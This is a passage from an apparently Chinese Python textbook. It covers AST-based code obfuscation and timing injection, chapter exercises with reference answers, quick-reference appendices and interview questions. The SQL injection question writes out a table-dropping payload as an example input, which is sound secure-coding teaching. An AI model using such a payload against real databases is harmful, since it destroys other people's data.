def obfuscate_code(source: str) -> str:
    """混淆 Python 代码"""
    tree = ast.parse(source)
    obfuscator = CodeObfuscator()
    new_tree = obfuscator.visit(tree)
    ast.fix_missing_locations(new_tree)
    return ast.unparse(new_tree)

# 示例
original = """
def calculate_total(price, quantity):
    discount = 0.1
    total = price * quantity * (1 - discount)
    return total
"""

obfuscated = obfuscate_code(original)
print("混淆后:")
print(obfuscated)
# 输出类似:
# def _v0(_v1, _v2):
#     _v3 = 0.1
#     _v4 = _v1 * _v2 * (1 - _v3)
#     return _v4


# ===== 实战 3:自动给函数添加性能计时 =====
class TimerInjector(ast.NodeTransformer):
    """给所有函数自动注入计时代码"""

    def visit_FunctionDef(self, node):
        # 在函数开头插入 time.start()
        timer_start = ast.parse("import time; _start = time.perf_counter()").body
        # 在函数结尾插入打印耗时
        timer_end = ast.parse(
            f"print(f'{node.name} 耗时: {{time.perf_counter() - _start:.4f}}s')"
        ).body

        # 在 return 之前插入计时
        new_body = timer_start + node.body
        # 如果最后一个语句是 return,在它之前插入
        if isinstance(node.body[-1], ast.Return):
            new_body = timer_start + node.body[:-1] + timer_end + [node.body[-1]]
        else:
            new_body = timer_start + node.body + timer_end

        node.body = new_body
        self.generic_visit(node)
        return node

# 使用
source = """
def slow_function():
    total = 0
    for i in range(1000000):
        total += i
    return total
"""

tree = ast.parse(source)
injector = TimerInjector()
new_tree = injector.visit(tree)
ast.fix_missing_locations(new_tree)
print(ast.unparse(new_tree))
本章要点
  • 读源码从纯 Python 标准库开始,再挑战 C 实现
  • inspect.getsource() 是查看任何 Python 对象源码的利器
  • 给 CPython 提 PR 从"easy" issue 开始,先修文档和测试
  • 好的 PR 小而精,有测试,有清晰的描述
  • 参与开源不只是写代码——翻译、回答问题、写博客都是贡献
  • 读 PEP 是理解 Python 设计哲学的最佳方式
  • dict 底层:紧凑字典 + 开放寻址法,O(1) 查找的秘密
  • list 底层:动态数组 + 过分配,append 均摊 O(1),insert(0) 是 O(n)
  • AST 模块:用 Python 分析 Python,实现代码扫描、混淆、自动注入

章末练习与思考题

练习说明

光看不练等于白学。以下是针对核心章节的练习题,分为"基础"和"进阶"两档。建议先独立完成,再参考答案。思考题没有标准答案,重在培养编程思维。

第 1-3 章:变量、运算符、字符串

练习 1:温度转换器

编写一个程序,接收用户输入的温度值和单位(C/F),自动转换并输出。支持连续输入,输入 q 退出。

# 参考答案
while True:
    s = input("请输入温度(如 36.5C 或 98.6F,q 退出):")
    if s.lower() == 'q':
        break
    unit = s[-1].upper()
    value = float(s[:-1])
    if unit == 'C':
        result = value * 9/5 + 32
        print(f"{value}°C = {result:.1f}°F")
    elif unit == 'F':
        result = (value - 32) * 5/9
        print(f"{value}°F = {result:.1f}°C")
    else:
        print("单位不正确,请输入 C 或 F")
练习 2:字符串统计

给定一个字符串,统计其中大写字母、小写字母、数字、其他字符的数量。

# 参考答案
s = input("请输入字符串:")
upper = lower = digit = other = 0
for ch in s:
    if ch.isupper(): upper += 1
    elif ch.islower(): lower += 1
    elif ch.isdigit(): digit += 1
    else: other += 1
print(f"大写:{upper},小写:{lower},数字:{digit},其他:{other}")

第 4-6 章:列表、元组、字典

练习 3:学生成绩管理

用字典实现一个简单的学生成绩管理系统,支持:添加学生、查询成绩、计算平均分、找出最高/最低分。

# 参考答案
students = {}

def add_student(name, scores):
    students[name] = scores

def get_average(name):
    scores = students.get(name, [])
    return sum(scores) / len(scores) if scores else 0

def get_ranking():
    return sorted(students.items(), key=lambda x: get_average(x[0]), reverse=True)

# 测试
add_student("张三", [90, 85, 92])
add_student("李四", [78, 88, 95])
add_student("王五", [95, 92, 98])

for name, scores in get_ranking():
    print(f"{name}: 平均分 {get_average(name):.1f}")
思考题 1

为什么 Python 的列表用数组实现而不是链表?在什么场景下链表更好?

提示:考虑 CPU 缓存局部性、随机访问 vs 顺序访问、插入/删除的时间复杂度。

第 7-8 章:条件与循环

练习 4:猜数字游戏

程序随机生成 1-100 的数字,用户猜测。提示"大了"或"小了",记录猜测次数。

# 参考答案
import random
target = random.randint(1, 100)
count = 0
while True:
    guess = int(input("猜一个 1-100 的数字:"))
    count += 1
    if guess == target:
        print(f"🎉 恭喜!你用了 {count} 次猜对了!")
        break
    elif guess < target:
        print("小了,再试试!")
    else:
        print("大了,再试试!")

第 11-12 章:函数

练习 5:实现一个缓存装饰器

不用 functools.lru_cache,自己实现一个带缓存功能的装饰器。

# 参考答案
def my_cache(maxsize=128):
    def decorator(func):
        cache = {}
        order = []
        def wrapper(*args):
            if args in cache:
                return cache[args]
            result = func(*args)
            cache[args] = result
            order.append(args)
            if len(cache) > maxsize:
                oldest = order.pop(0)
                del cache[oldest]
            return result
        wrapper.cache_info = lambda: f"hits={len(cache)}, maxsize={maxsize}"
        return wrapper
    return decorator

@my_cache(maxsize=3)
def fibonacci(n):
    if n < 2:
        return n
    return fibonacci(n-1) + fibonacci(n-2)

print(fibonacci(30))
print(fibonacci.cache_info())
思考题 2

Python 的函数参数传递是"值传递"还是"引用传递"?

提示:Python 使用"共享传参"(call by sharing)。理解可变对象和不可变对象在函数中的行为差异。

第 13-15 章:面向对象

练习 6:实现一个简单的 ORM

用描述符(descriptor)实现一个简单的 ORM,支持字段定义、实例创建、查询。

# 参考答案
class Field:
    def __init__(self, field_type, primary_key=False):
        self.field_type = field_type
        self.primary_key = primary_key
        self.name = None

    def __set_name__(self, owner, name):
        self.name = name

    def __get__(self, obj, objtype=None):
        if obj is None:
            return self
        return obj.__dict__.get(self.name)

    def __set__(self, obj, value):
        if not isinstance(value, self.field_type):
            raise TypeError(f"{self.name} 必须是 {self.field_type.__name__}")
        obj.__dict__[self.name] = value

class ModelMeta(type):
    def __new__(mcs, name, bases, namespace):
        fields = {}
        for key, value in namespace.items():
            if isinstance(value, Field):
                fields[key] = value
        namespace['_fields'] = fields
        return super().__new__(mcs, name, bases, namespace)

class Model(metaclass=ModelMeta):
    _table_name = ""

    def __init__(self, **kwargs):
        for field_name in self._fields:
            if field_name in kwargs:
                setattr(self, field_name, kwargs[field_name])

    def save(self):
        values = {f: getattr(self, f) for f in self._fields}
        print(f"INSERT INTO {self._table_name} {values}")

# 使用
class User(Model):
    _table_name = "users"
    id = Field(int, primary_key=True)
    name = Field(str)
    age = Field(int)

user = User(id=1, name="张三", age=25)
user.save()
print(user.name)

第 23-25 章:迭代器、生成器、异步

练习 7:实现一个异步爬虫

用 asyncio + aiohttp 实现一个并发网页爬虫,限制并发数为 5。

# 参考答案
import asyncio
import aiohttp

async def fetch(session, url, semaphore):
    async with semaphore:
        try:
            async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
                return url, resp.status, len(await resp.text())
        except Exception as e:
            return url, None, str(e)

async def crawl(urls, max_concurrent=5):
    semaphore = asyncio.Semaphore(max_concurrent)
    async with aiohttp.ClientSession() as session:
        tasks = [fetch(session, url, semaphore) for url in urls]
        results = await asyncio.gather(*tasks)  # fetch 已内部处理异常,不需要 return_exceptions
        for url, status, size in results:
            print(f"{url}: status={status}, size={size}")

urls = [f"https://httpbin.org/delay/{i%3}" for i in range(10)]
asyncio.run(crawl(urls))
思考题 3

生成器和列表推导式在内存使用上有什么区别?在什么场景下必须用生成器?

提示:处理大文件、无限序列、管道式数据处理。

第 28-35 章:数据库与 Redis

练习 8:实现一个简单的连接池

不用第三方库,用 queue 实现一个简单的数据库连接池。

# 参考答案
import sqlite3
import queue
import threading

class ConnectionPool:
    def __init__(self, db_path, max_size=5):
        self._pool = queue.Queue(maxsize=max_size)
        self._lock = threading.Lock()
        self._db_path = db_path
        self._size = 0
        self._max_size = max_size

    def _create_connection(self):
        conn = sqlite3.connect(self._db_path, check_same_thread=False)
        conn.row_factory = sqlite3.Row
        return conn

    def get_connection(self):
        try:
            return self._pool.get_nowait()
        except queue.Empty:
            with self._lock:
                if self._size < self._max_size:
                    self._size += 1
                    return self._create_connection()
            return self._pool.get()  # 阻塞等待

    def release(self, conn):
        self._pool.put(conn)

    def close_all(self):
        while not self._pool.empty():
            conn = self._pool.get_nowait()
            conn.close()

# 使用
pool = ConnectionPool("test.db", max_size=3)
conn = pool.get_connection()
cursor = conn.cursor()
cursor.execute("SELECT 1")
pool.release(conn)

第 47-50 章:进阶主题

练习 9:用 Pydantic 构建一个配置管理系统

实现一个支持环境变量、YAML 文件、默认值的配置管理系统。

# 参考答案
from pydantic import BaseModel
from pydantic_settings import BaseSettings, SettingsConfigDict
import yaml
import os

class DatabaseConfig(BaseModel):
    host: str = "localhost"
    port: int = 5432
    name: str = "mydb"
    user: str = "admin"
    password: str = ""

class AppConfig(BaseSettings):
    model_config = SettingsConfigDict(env_prefix="APP_", env_nested_delimiter="__")

    debug: bool = False
    log_level: str = "INFO"
    database: DatabaseConfig = DatabaseConfig()

def load_config(config_path: str = "config.yaml") -> AppConfig:
    # 1. 加载 YAML
    config_data = {}
    if os.path.exists(config_path):
        with open(config_path) as f:
            config_data = yaml.safe_load(f) or {}

    # 2. 环境变量会自动覆盖(Pydantic Settings 的特性)
    return AppConfig(**config_data)

config = load_config()
print(f"数据库: {config.database.host}:{config.database.port}")
练习 10:实现一个简单的依赖注入容器

实现一个支持单例和工厂模式的依赖注入容器。

# 参考答案
from typing import Any, Callable

class DIContainer:
    def __init__(self):
        self._services: dict[str, dict] = {}

    def register(self, name: str, factory: Callable, singleton: bool = False):
        self._services[name] = {
            "factory": factory,
            "singleton": singleton,
            "instance": None
        }

    def resolve(self, name: str) -> Any:
        if name not in self._services:
            raise KeyError(f"服务 '{name}' 未注册")
        service = self._services[name]
        if service["singleton"]:
            if service["instance"] is None:
                service["instance"] = service["factory"](self)
            return service["instance"]
        return service["factory"](self)

# 使用
container = DIContainer()
container.register("config", lambda c: {"db_url": "sqlite://"}, singleton=True)
container.register("db", lambda c: f"连接到 {c.resolve('config')['db_url']}", singleton=True)
container.register("user_service", lambda c: f"UserService({c.resolve('db')})")

print(container.resolve("user_service"))
print(container.resolve("config") is container.resolve("config"))  # True(单例)
思考题 4:架构选择

你要开发一个日活 100 万的社交应用后端,需要支持:用户注册登录、发帖、评论、点赞、消息推送。请设计:

  • 技术栈选择(Web 框架、数据库、缓存、消息队列)
  • 项目架构(分层?微服务?)
  • 数据库表设计
  • 如何处理高并发

提示:没有标准答案,关键是要能说清楚"为什么这样选择"。

练习建议
  • 先独立完成:不要看答案,先自己写。写不出来再看
  • 理解原理:不要抄答案,理解为什么这样写
  • 举一反三:每道题想想还能怎么改、怎么扩展
  • 实际项目:把练习中的模式用到你自己的项目中
  • 代码审查:找人 review 你的代码,或者用 AI 审查

附录:速查手册

附录导览

本附录是整本书的"工具箱"。当你写代码时遇到不认识的函数、想不起来的模块名、或者面试前需要突击复习,都可以翻到这一章快速查找。建议收藏本页,随时查阅。

A. 内置函数速查

函数用途示例
print()输出print("hello")
input()输入name = input("名字:")
len()长度len([1,2,3]) → 3
type()查看类型type(42) → int
int() float() str()类型转换int("42") → 42
range()数字序列range(5) → 0,1,2,3,4
enumerate()带索引遍历enumerate(["a","b"])
zip()并行遍历zip([1,2], [3,4])
map()映射函数map(str, [1,2])
filter()过滤filter(bool, [0,1,"",2])
sorted()排序(返回新列表)sorted([3,1,2])
reversed()反转reversed([1,2,3])
min() max() sum()聚合max(1,2,3) → 3
abs()绝对值abs(-5) → 5
round()四舍五入round(3.7) → 4
isinstance()类型判断isinstance(42, int) → True
hasattr() getattr()属性操作hasattr(obj, "name")
open()打开文件open("f.txt","r")
id()内存地址id(obj)
dir()列出对象的所有属性和方法dir([])
vars()返回对象的 __dict__vars(obj)
help()查看帮助文档help(str.split)
eval()执行字符串表达式eval("1+2") → 3
exec()执行字符串代码exec("x=1")
super()调用父类方法super().__init__()
property()定义属性@property
classmethod()类方法装饰器@classmethod
staticmethod()静态方法装饰器@staticmethod
iter()创建迭代器iter([1,2,3])
next()获取迭代器下一个值next(it)
any() all()逻辑判断any([False, True]) → True
bin() oct() hex()进制转换bin(10) → '0b1010'
chr() ord()字符/编码转换chr(65) → 'A'
repr()返回对象的字符串表示repr("hello") → "'hello'"

B. 常见异常速查

异常原因示例
SyntaxError语法错误括号没闭合、冒号缺失
IndentationError缩进错误Tab 和空格混用
NameError变量未定义print(xyz)
TypeError类型错误"1" + 1
ValueError值不合法int("abc")
IndexError索引越界[1,2][10]
KeyError键不存在{"a":1}["b"]
AttributeError属性不存在"str".foo()
FileNotFoundError文件不存在open("no.txt")
ZeroDivisionError除以零1/0
RecursionError递归过深无限递归
StopIteration迭代器耗尽next(iter([]))

C. 常用模块速查

模块用途关键功能
os操作系统交互getcwd, listdir, makedirs, path.exists
sys系统相关argv, path, exit, version
jsonJSON 处理dumps, loads, dump, load
re正则表达式search, findall, sub, compile
datetime日期时间now, strftime, strptime, timedelta
math数学运算pi, sqrt, ceil, floor, log
random随机数randint, choice, shuffle, sample
collections高级数据结构Counter, defaultdict, deque
functools函数工具lru_cache, partial, reduce, wraps
itertools迭代器工具chain, product, combinations
pathlib路径操作Path, glob, rglob, read_text
logging日志info, warning, error, basicConfig
argparse命令行参数ArgumentParser, add_argument
unittest单元测试TestCase, assertEqual
typing类型注解List, Dict, Optional, Union
subprocess运行外部命令run, Popen, PIPE
threading多线程Thread, Lock, Event, Timer
multiprocessing多进程Pool, Process, Queue
asyncio异步编程run, gather, create_task, sleep
socket网络编程socket, bind, listen, accept
sqlite3SQLite 数据库connect, execute, fetchall
hashlib哈希算法md5, sha256, sha1
dataclasses数据类@dataclass, field
copy拷贝copy, deepcopy
time时间操作sleep, time, perf_counter
ioIO 操作StringIO, BytesIO

C-2. 第三方库速查(现代 Python 生态)

库用途关键功能
pydantic数据验证BaseModel, Field, field_validator, model_dump
rich终端美化Console, Table, Panel, Progress, Syntax
typerCLI 框架@app.command, Argument, Option, Typer
httpxHTTP 客户端支持同步+异步,替代 requests
aiohttp异步 HTTPClientSession, 异步请求/响应
fastapiWeb API 框架Depends, Pydantic 集成, 自动文档
uvicornASGI 服务器运行 FastAPI/Starlette 应用
sqlalchemyORM 框架Session, Query, 关系映射
redisRedis 客户端Redis, 异步版: redis.asyncio
pytest测试框架fixture, parametrize, mark
ruffLinter + Formatter替代 Flake8 + isort + Black
mypy类型检查静态类型分析
celery任务队列分布式异步任务
langchainAI 应用框架LLM 调用, RAG, Agent, Chain
openaiOpenAI SDKChatCompletion, Embedding, Function Calling
chromadb向量数据库文档向量化存储与检索

C-3. 学习路线图

1
入门阶段(第 1-10 章)——变量、数据类型、流程控制、函数基础。目标:能写简单的脚本。
2
基础阶段(第 11-20 章)——函数进阶、OOP、异常处理、文件IO、模块。目标:能写结构化的程序。
3
进阶阶段(第 21-30 章)——标准库、正则、迭代器、异步、多线程、网络、数据库。目标:能处理复杂业务。
4
实战阶段(第 31-42 章)——SQL进阶、MySQL/Redis、Web开发、FastAPI、数据分析、爬虫。目标:能独立开发项目。
5
精通阶段(第 43-50 章)——测试、Docker、工程化、CPython 内部机制、设计模式、AI 应用。目标:达到高级工程师水平。

D. 常见报错排查

SyntaxError: invalid syntax

原因:代码有语法错误,Python 无法解析。

检查:括号是否匹配、冒号是否遗漏、引号是否闭合、是否用了中文标点(,;:)、= 和 == 是否搞混。

IndentationError: unexpected indent / unindent does not match

原因:缩进不一致。

检查:统一用 4 空格缩进,不要混用 Tab 和空格。VS Code 中按 Tab 自动转为 4 个空格。

NameError: name 'xxx' is not defined

原因:使用了未定义的变量。

检查:变量名是否拼写正确、是否在使用前定义了、是否在函数内忘记加 global。

TypeError: 'xxx' object is not subscriptable / unsupported operand type(s)

原因:类型不匹配。

检查:None 当成列表用了(None[0])、字符串和数字混运算("1" + 1)、函数返回了 None 但你当成其他类型用。

AttributeError: 'xxx' object has no attribute 'yyy'

原因:对象没有这个属性或方法。

检查:是否拼写错误、是否把变量名覆盖了内置函数(如 list = [1,2] 后 list() 就不能用了)、对象类型是否正确。

IndexError: list index out of range

原因:访问了不存在的索引。

检查:索引是否越界(列表长度为 5,索引最大为 4)、是否忘记列表为空的情况、负索引是否正确。

KeyError: 'xxx'

原因:字典中不存在这个键。

检查:键名是否拼写正确、用 dict.get("key", default) 避免 KeyError。

ModuleNotFoundError: No module named 'xxx'

原因:找不到要导入的模块。

检查:是否安装了(pip install xxx)、是否在正确的虚拟环境中、模块名是否拼写正确、是否有命名冲突(你的文件名和库同名)。

FileNotFoundError: [Errno 2] No such file or directory

原因:文件或目录不存在。

检查:路径是否正确(用 os.path.exists() 检查)、相对路径是否基于当前工作目录、Windows 路径用 / 或原始字符串 r"C:\path"。

PermissionError: [Errno 13] Permission denied

原因:没有权限访问文件或端口。

检查:文件是否被其他程序占用、是否有读写权限、端口是否被占用(lsof -i:8000)、是否需要管理员权限。

UnicodeDecodeError / UnicodeEncodeError

原因:编码不匹配。

检查:打开文件时指定 encoding="utf-8"、网络请求的编码是否正确、是否用了错误的编码读写文件。

RecursionError: maximum recursion depth exceeded

原因:递归调用太深(默认限制 1000 层)。

检查:递归是否有终止条件、终止条件是否正确、是否可以用循环代替递归。

ConnectionRefusedError / ConnectionResetError

原因:网络连接被拒绝或重置。

检查:服务是否启动、地址和端口是否正确、防火墙是否放行、是否设置了 timeout。

JSONDecodeError: Expecting value

原因:JSON 解析失败。

检查:响应是否为空、是否返回了 HTML 错误页面而不是 JSON、Content-Type 是否正确。

OSError: [Errno 98] Address already in use

原因:端口被占用。

检查:是否有其他进程在用这个端口、上次运行是否正常退出。
解决:lsof -i:8000 找到占用进程然后 kill,或换一个端口。

ValueError: too many values to unpack / not enough values to unpack

原因:解包时变量数量和值数量不匹配。

检查:a, b = [1, 2, 3] 会报错,用 a, *b = [1, 2, 3] 接收剩余值。

E. Python 学习路线图

1
基础语法——变量、数据类型、运算符、字符串、列表、字典、条件、循环、函数
2
进阶语法——面向对象、异常处理、文件操作、模块包、推导式、装饰器、生成器
3
标准库——collections、functools、re、datetime、logging、argparse、pathlib
4
工程实践——类型注解、单元测试、代码规范、虚拟环境、打包发布
5
选择方向——Web 开发(Flask/Django)、数据分析(Pandas)、自动化、AI(PyTorch)、爬虫
6
项目实战——做 3-5 个完整项目,写在简历上,上传 GitHub

F. 面试高频题(含详细解答)

1. Python 中 list 和 tuple 的区别?

答:list 是可变的(可以增删改元素),tuple 是不可变的(创建后不能修改)。

# list 可以修改
lst = [1, 2, 3]
lst[0] = 99       # OK → [99, 2, 3]
lst.append(4)     # OK → [99, 2, 3, 4]

# tuple 不能修改
tup = (1, 2, 3)
tup[0] = 99       # 报错!TypeError
tup.append(4)     # 报错!AttributeError

为什么要有 tuple?

  • tuple 不可变 → 可以作为字典的 key(list 不行)
  • tuple 不可变 → 多线程更安全
  • tuple 占用内存更少,速度更快
# tuple 可以作为字典 key
d = {(1, 2): "坐标"}  # OK
d = {[1, 2]: "坐标"}  # 报错!unhashable type: 'list'

2. Python 的 GIL 是什么?对多线程有什么影响?

答:GIL(Global Interpreter Lock,全局解释器锁)是 CPython 的一个机制,它确保同一时刻只有一个线程执行 Python 字节码。

import threading

counter = 0
def add():
    global counter
    for _ in range(1000000):
        counter += 1

# 即使加了锁,GIL 也会影响性能
threads = [threading.Thread(target=add) for _ in range(4)]
for t in threads: t.start()
for t in threads: t.join()
print(counter)  # 结果可能 < 4000000(GIL 切换导致丢失)

影响:

  • CPU 密集型任务(计算):多线程无法利用多核 → 用多进程(multiprocessing)
  • IO 密集型任务(网络、文件):GIL 在等待 IO 时会释放 → 多线程仍然有效
  • 解决方案:用 multiprocessing(多进程)、asyncio(协程)、或者换 Jython/PyPy

3. *args 和 **kwargs 的作用?

答:它们让函数接收可变数量的参数。

# *args:接收多余的位置参数,打包成 tuple
def func(a, *args):
    print(f"a = {a}")
    print(f"args = {args}")

func(1, 2, 3, 4)
# a = 1
# args = (2, 3, 4)

# **kwargs:接收多余的关键字参数,打包成 dict
def func2(a, **kwargs):
    print(f"a = {a}")
    print(f"kwargs = {kwargs}")

func2(1, name="张三", age=20)
# a = 1
# kwargs = {'name': '张三', 'age': 20}

# 同时使用
def func3(*args, **kwargs):
    print(args, kwargs)

func3(1, 2, name="张三")
# (1, 2) {'name': '张三'}

名字不一定要叫 args 和 kwargs,星号 * 和 ** 才是关键:

def func(*numbers, **options):
    # 同样有效
    pass

4. 深拷贝和浅拷贝的区别?

答:

  • 浅拷贝:只复制最外层,内部的子对象还是指向同一个
  • 深拷贝:完全复制所有层级,互相独立
import copy

original = [[1, 2], [3, 4]]

# 浅拷贝
shallow = copy.copy(original)
shallow[0][0] = 99
print(original)  # [[99, 2], [3, 4]] — 原列表也被改了!(内层共享)

# 深拷贝
original = [[1, 2], [3, 4]]
deep = copy.deepcopy(original)
deep[0][0] = 99
print(original)  # [[1, 2], [3, 4]] — 原列表不受影响

一句话记忆:浅拷贝像"复印件的复印件"(共享原件内部),深拷贝像"完全克隆"(独立存在)。

5. 装饰器是什么?怎么用?

答:装饰器是一个接受函数作为参数、返回新函数的函数,用来在不修改原函数代码的前提下增加功能。

# 定义装饰器
def log(func):
    def wrapper(*args, **kwargs):
        print(f"调用了 {func.__name__}")
        result = func(*args, **kwargs)
        print(f"调用结束")
        return result
    return wrapper

# 使用装饰器
@log
def add(a, b):
    return a + b

add(1, 2)
# 输出:
# 调用了 add
# 调用结束

@log 等价于:add = log(add)

常见用途:日志记录、权限验证、性能计时、缓存(@lru_cache)、重试机制。

6. 什么是生成器?和列表有什么区别?

答:生成器是一种惰性求值的迭代器,它不会一次性把所有数据加载到内存,而是每次调用 next() 时才计算下一个值。

# 列表推导式:一次性生成所有数据
lst = [x ** 2 for x in range(1000000)]  # 占用大量内存

# 生成器表达式:每次只算一个
gen = (x ** 2 for x in range(1000000))  # 几乎不占内存

next(gen)  # 0
next(gen)  # 1
next(gen)  # 4
# 生成器函数(用 yield)
def countdown(n):
    while n > 0:
        yield n
        n -= 1

for num in countdown(5):
    print(num)  # 5, 4, 3, 2, 1

区别:

对比列表生成器
内存一次性全部加载按需生成,几乎不占内存
速度创建慢,访问快创建快,每次 next 计算
可重复可以多次遍历只能遍历一次
适用场景数据量小、需要多次访问数据量大、只需遍历一次

7. Python 中 is 和 == 的区别?

答:

  • == 比较值是否相等
  • is 比较内存地址是否相同(是否是同一个对象)
a = [1, 2, 3]
b = [1, 2, 3]
c = a

a == b   # True(值相同)
a is b   # False(不是同一个对象)
a is c   # True(c 就是 a)

# 小整数缓存
x = 256
y = 256
x is y   # True(Python 缓存了 -5 到 256)

x = 257
y = 257
x is y   # False(超出缓存范围)

最佳实践:比较值用 ==,判断是否是 None 用 is(if x is None)。

8. 什么是闭包?

答:闭包是一个记住了外部变量的内部函数,即使外部函数已经执行完毕。

def make_counter():
    count = 0
    def counter():
        nonlocal count
        count += 1
        return count
    return counter

c = make_counter()
print(c())  # 1
print(c())  # 2
print(c())  # 3

# count 变量"活"在闭包里,外部无法直接访问

闭包的三个条件:

  • 有嵌套函数
  • 内部函数引用了外部函数的变量
  • 外部函数返回内部函数

常见用途:回调函数、工厂函数、装饰器的本质就是闭包。

9. @property 装饰器的作用?

答:@property 把一个方法变成属性来调用,同时可以控制读取、设置、删除的行为。

class Circle:
    def __init__(self, radius):
        self._radius = radius

    @property
    def radius(self):
        """getter:读取 radius 时触发"""
        return self._radius

    @radius.setter
    def radius(self, value):
        """setter:设置 radius 时触发"""
        if value < 0:
            raise ValueError("半径不能为负")
        self._radius = value

    @property
    def area(self):
        """只读属性(没有 setter)"""
        return 3.14159 * self._radius ** 2

c = Circle(5)
print(c.radius)     # 5(像属性一样访问)
print(c.area)       # 78.53975(只读)
c.radius = 10       # 像属性一样赋值
c.area = 100        # 报错!AttributeError(没有 setter)

10. Python 的垃圾回收机制?

答:Python 用引用计数为主,分代回收为辅。

import sys

a = [1, 2, 3]
print(sys.getrefcount(a))  # 2(a 本身 + getrefcount 的参数)

b = a
print(sys.getrefcount(a))  # 3(多了一个引用)

del b
print(sys.getrefcount(a))  # 2(引用减少)

引用计数:每个对象有一个计数器,引用+1,删除引用-1,归零时立即回收。

分代回收:专门处理循环引用(A 引用 B,B 引用 A,引用计数永远不为 0)。

# 循环引用
a = []
b = []
a.append(b)
b.append(a)
del a, b  # 引用计数不为 0,但分代回收会处理

三代回收:新对象在第 0 代,经过回收存活的晋升到下一代。第 0 代回收最频繁,第 2 代最少。

11. 可变对象和不可变对象分别有哪些?

答:

类型可变/不可变包含
不可变创建后不能修改int, float, str, tuple, frozenset, bytes
可变可以修改内容list, dict, set, bytearray
# 不可变对象修改时会创建新对象
s = "hello"
print(id(s))   # 140234567890
s += " world"
print(id(s))   # 140234567999(地址变了,是新对象)

# 可变对象修改时地址不变
lst = [1, 2]
print(id(lst))  # 140234568000
lst.append(3)
print(id(lst))  # 140234568000(同一个对象)

重要影响:可变对象不能作为字典的 key(因为 hash 值可能变),不可变对象可以。

12. 如何理解 Python 中"一切皆对象"?

答:Python 中所有东西都是对象,包括数字、字符串、函数、类、甚至模块。

# 数字是对象
x = 42
print(type(x))     # <class 'int'>
print(x.bit_length())  # 6(对象有方法)

# 函数是对象
def greet(): pass
print(type(greet))  # <class 'function'>
greet.custom_attr = "hello"  # 函数可以有属性

# 类也是对象
class Dog: pass
print(type(Dog))    # <class 'type'>
Dog.version = "1.0"  # 类可以有属性

# 甚至 type 本身也是对象
print(type(type))   # <class 'type'>

这意味着:所有东西都可以赋值给变量、作为参数传递、作为返回值返回、拥有属性和方法。

13. with 语句的原理?

答:with 语句调用对象的 __enter__ 和 __exit__ 方法,确保资源被正确释放。

# with 语句
with open("file.txt") as f:
    content = f.read()
# 等价于:
f = open("file.txt")
try:
    content = f.read()
finally:
    f.close()  # 无论是否出错都关闭
# 自定义 with 对象
class Timer:
    def __enter__(self):
        import time
        self.start = time.time()
        return self
    def __exit__(self, exc_type, exc_val, exc_tb):
        self.elapsed = time.time() - self.start
        print(f"耗时: {self.elapsed:.2f}秒")
        return False  # 不吞掉异常

with Timer() as t:
    sum(range(1000000))
# 输出:耗时: 0.03秒

__exit__ 的参数:如果 with 块内发生异常,三个参数会包含异常信息。返回 True 会吞掉异常,返回 False 会继续抛出。

14. async/await 和多线程的区别?

答:

对比多线程 threading异步 async/await
并发方式操作系统切换线程程序主动让出控制权
适用场景IO 密集型、需要兼容旧代码高并发网络请求、大量 IO
开销每个线程占内存(~8MB)协程几乎不占内存
数据安全需要锁机制单线程,无需锁
代码复杂度较低(同步风格)较高(需要 async/await)
# 多线程:操作系统调度
import threading
def download(url):
    print(f"下载 {url}")
t = threading.Thread(target=download, args=("http://...",))

# 异步:程序主动让出
import asyncio
async def download(url):
    print(f"下载 {url}")
    await asyncio.sleep(1)  # 让出控制权

asyncio.run(download("http://..."))

一句话:多线程是"多个人同时干活",异步是"一个人在等待时去做别的事"。

15. 如何避免 SQL 注入?

答:永远不要用字符串拼接 SQL,使用参数化查询。

# 危险!容易被注入
name = "'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE name = '{name}'"
# 结果:SELECT * FROM users WHERE name = ''; DROP TABLE users; --'

# 安全:使用参数化查询
import sqlite3
conn = sqlite3.connect("db.sqlite")
cursor = conn.cursor()

# 方式 1:占位符 ?
cursor.execute("SELECT * FROM users WHERE name = ?", (name,))

# 方式 2:ORM(如 SQLAlchemy)
# User.query.filter_by(name=name).first()

# 方式 3:转义(不推荐,不如参数化安全)

核心原则:用户输入永远不能直接拼接到 SQL 语句中,必须通过参数传递给数据库驱动。

16. Python 是解释型语言吗?

答:通常说 Python 是"解释型语言",但这个说法过于简化。准确地说:

  • CPython(官方实现):源代码先编译为字节码(.pyc 文件),再由虚拟机解释执行。所以它是"编译 + 解释"的混合模式
  • PyPy:使用 JIT(即时编译),在运行时把热点代码编译为机器码,性能可以接近 C
  • Jython / IronPython:分别编译到 JVM 和 .NET 字节码
# 查看 CPython 字节码
import dis

def add(a, b):
    return a + b

dis.dis(add)
# 输出字节码指令:
#   0 LOAD_FAST    0 (a)
#   2 LOAD_FAST    1 (b)
#   4 BINARY_ADD
#   6 RETURN_VALUE

# Python 源代码 → 字节码(编译)→ 虚拟机执行(解释)

面试建议:不要只说"Python 是解释型语言",要提到字节码编译和 JIT,展现你对 Python 底层实现的理解。

17. __slots__ 有什么用?

答:__slots__ 限制实例只能拥有指定的属性,好处是节省内存和防止动态添加属性。

class User:
    __slots__ = ("name", "age")  # 只允许这两个属性

    def __init__(self, name, age):
        self.name = name
        self.age = age

u = User("张三", 25)
u.name  # OK
u.email = "test@test.com"  # 报错!AttributeError

适用场景:大量创建对象时(如百万级实例),slots 可以节省 30%-50% 内存。

18. dataclass 和普通类有什么区别?

答:@dataclass 自动帮你生成 __init__、__repr__、__eq__ 等方法,减少样板代码。

# 普通类——手写很多方法
class User:
    def __init__(self, name, age):
        self.name = name
        self.age = age
    def __repr__(self):
        return f"User(name={self.name}, age={self.age})"
    def __eq__(self, other):
        return self.name == other.name and self.age == other.age

# dataclass——自动搞定
from dataclasses import dataclass

@dataclass
class User:
    name: str
    age: int

# 自动拥有 __init__, __repr__, __eq__
u = User("张三", 25)
print(u)  # User(name='张三', age=25)

19. MRO(方法解析顺序)是什么?

答:MRO 决定了多继承时方法的查找顺序。Python 使用 C3 线性化算法。

class A:
    def greet(self): return "A"

class B(A):
    def greet(self): return "B"

class C(A):
    def greet(self): return "C"

class D(B, C):
    pass

print(D().greet())  # "B"(B 在 C 前面)
print(D.__mro__)    # (D, B, C, A, object)

记住:Python 查找方法时按 MRO 顺序从左到右找,找到就停。用 ClassName.__mro__ 查看。

20. match-case(结构化模式匹配)怎么用?(3.10+)

答:match-case 是 Python 3.10 引入的模式匹配语法,类似其他语言的 switch-case,但更强大。

# 基本用法
def handle_command(command: str):
    match command.split():
        case ["quit"]:
            print("退出")
        case ["hello", name]:
